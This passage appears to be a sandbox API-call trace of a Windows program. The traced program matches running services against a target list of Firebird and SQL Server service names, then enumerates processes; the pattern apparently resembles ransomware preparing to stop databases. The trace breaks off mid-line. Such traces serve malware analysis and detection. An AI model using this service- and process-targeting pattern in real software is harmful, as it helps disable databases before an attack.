[0259.623] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0259.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0259.623] lstrlenW (lpString="Dhcp") returned 4 [0259.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0259.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0259.623] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0259.623] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0259.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0259.623] lstrlenW (lpString="Dnscache") returned 8 [0259.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0259.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0259.624] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0259.624] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0259.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0259.624] lstrlenW (lpString="DPS") returned 3 [0259.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0259.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0259.624] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0259.624] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0259.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0259.624] lstrlenW (lpString="DusmSvc") returned 7 [0259.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0259.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0259.624] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0259.624] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0259.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0259.624] lstrlenW (lpString="EventLog") returned 8 [0259.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0259.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0259.624] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0259.625] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0259.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0259.625] lstrlenW (lpString="EventSystem") returned 11 [0259.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0259.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0259.625] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0259.625] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0259.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0259.625] lstrlenW (lpString="FontCache") returned 9 [0259.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0259.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0259.625] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0259.625] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0259.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0259.625] lstrlenW (lpString="gpsvc") returned 5 [0259.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0259.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0259.625] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0259.625] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0259.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0259.625] lstrlenW (lpString="iphlpsvc") returned 8 [0259.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0259.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0259.625] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0259.625] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0259.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0259.626] lstrlenW (lpString="KeyIso") returned 6 [0259.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0259.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0259.626] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0259.626] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0259.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0259.626] lstrlenW (lpString="LanmanServer") returned 12 [0259.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0259.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0259.626] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0259.626] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0259.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0259.626] lstrlenW (lpString="LanmanWorkstation") returned 17 [0259.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0259.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0259.626] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0259.626] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0259.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0259.649] lstrlenW (lpString="lfsvc") returned 5 [0259.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0259.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0259.649] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0259.649] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0259.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0259.650] lstrlenW (lpString="lmhosts") returned 7 [0259.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0259.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0259.650] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0259.650] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0259.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0259.650] lstrlenW (lpString="LSM") returned 3 [0259.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0259.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0259.650] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0259.650] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0259.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0259.650] lstrlenW (lpString="MpsSvc") returned 6 [0259.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0259.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0259.650] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0259.650] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0259.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0259.650] lstrlenW (lpString="NcbService") returned 10 [0259.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0259.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0259.650] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0259.650] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0259.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0259.651] lstrlenW (lpString="netprofm") returned 8 [0259.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0259.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0259.651] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0259.651] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0259.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0259.651] lstrlenW (lpString="NgcSvc") returned 6 [0259.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0259.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0259.651] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0259.651] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0259.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0259.651] lstrlenW (lpString="NlaSvc") returned 6 [0259.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0259.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0259.651] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0259.651] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0259.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0259.651] lstrlenW (lpString="nsi") returned 3 [0259.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0259.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0259.651] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0259.652] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0259.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0259.652] lstrlenW (lpString="PcaSvc") returned 6 [0259.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0259.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0259.652] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0259.652] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0259.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0259.652] lstrlenW (lpString="PlugPlay") returned 8 [0259.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0259.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0259.652] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0259.652] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0259.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0259.652] lstrlenW (lpString="Power") returned 5 [0259.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0259.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0259.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0259.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0259.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0259.652] lstrlenW (lpString="ProfSvc") returned 7 [0259.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0259.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0259.653] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0259.653] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0259.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0259.653] lstrlenW (lpString="RpcEptMapper") returned 12 [0259.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0259.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0259.653] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0259.653] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0259.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0259.653] lstrlenW (lpString="RpcSs") returned 5 [0259.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0259.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0259.653] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0259.653] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0259.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0259.653] lstrlenW (lpString="SamSs") returned 5 [0259.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0259.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0259.653] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0259.653] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0259.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0259.653] lstrlenW (lpString="Schedule") returned 8 [0259.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0259.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0259.654] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0259.654] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0259.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0259.654] lstrlenW (lpString="SecurityHealthService") returned 21 [0259.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0259.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0259.654] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0259.654] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0259.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0259.654] lstrlenW (lpString="SENS") returned 4 [0259.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0259.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0259.654] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0259.654] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0259.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0259.654] lstrlenW (lpString="ShellHWDetection") returned 16 [0259.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0259.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0259.654] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0259.654] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0259.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0259.654] lstrlenW (lpString="Spooler") returned 7 [0259.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0259.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0259.655] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0259.655] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0259.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0259.655] lstrlenW (lpString="SSDPSRV") returned 7 [0259.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0259.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0259.655] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0259.655] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0259.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0259.655] lstrlenW (lpString="StateRepository") returned 15 [0259.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0259.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0259.655] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0259.655] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0259.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0259.655] lstrlenW (lpString="SysMain") returned 7 [0259.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0259.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0259.655] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0259.655] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0259.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0259.656] lstrlenW (lpString="SystemEventsBroker") returned 18 [0259.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0259.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0259.656] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0259.656] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0259.656] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4255dc0 | out: hHeap=0x670000) returned 1 [0259.656] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x55c [0259.664] Process32FirstW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.665] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0259.666] lstrlenW (lpString="System") returned 6 [0259.666] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0259.666] lstrlenW (lpString="smss.exe") returned 8 [0259.667] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.667] lstrlenW (lpString="csrss.exe") returned 9 [0259.667] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0259.668] lstrlenW (lpString="wininit.exe") returned 11 [0259.668] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.669] lstrlenW (lpString="csrss.exe") returned 9 [0259.669] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0259.670] lstrlenW (lpString="winlogon.exe") returned 12 [0259.670] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0259.671] lstrlenW (lpString="services.exe") returned 12 [0259.671] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0259.671] lstrlenW (lpString="lsass.exe") returned 9 [0259.671] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0259.672] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0259.672] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0259.673] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0259.673] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.673] lstrlenW (lpString="svchost.exe") returned 11 [0259.673] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.674] lstrlenW (lpString="svchost.exe") returned 11 [0259.674] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0259.675] lstrlenW (lpString="dwm.exe") returned 7 [0259.675] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.675] lstrlenW (lpString="svchost.exe") returned 11 [0259.675] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.676] lstrlenW (lpString="svchost.exe") returned 11 [0259.676] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.677] lstrlenW (lpString="svchost.exe") returned 11 [0259.677] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.678] lstrlenW (lpString="svchost.exe") returned 11 [0259.678] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.679] lstrlenW (lpString="svchost.exe") returned 11 [0259.679] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.681] lstrlenW (lpString="svchost.exe") returned 11 [0259.681] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.687] lstrlenW (lpString="svchost.exe") returned 11 [0259.687] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.688] lstrlenW (lpString="svchost.exe") returned 11 [0259.688] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.689] lstrlenW (lpString="svchost.exe") returned 11 [0259.689] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.689] lstrlenW (lpString="svchost.exe") returned 11 [0259.689] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: 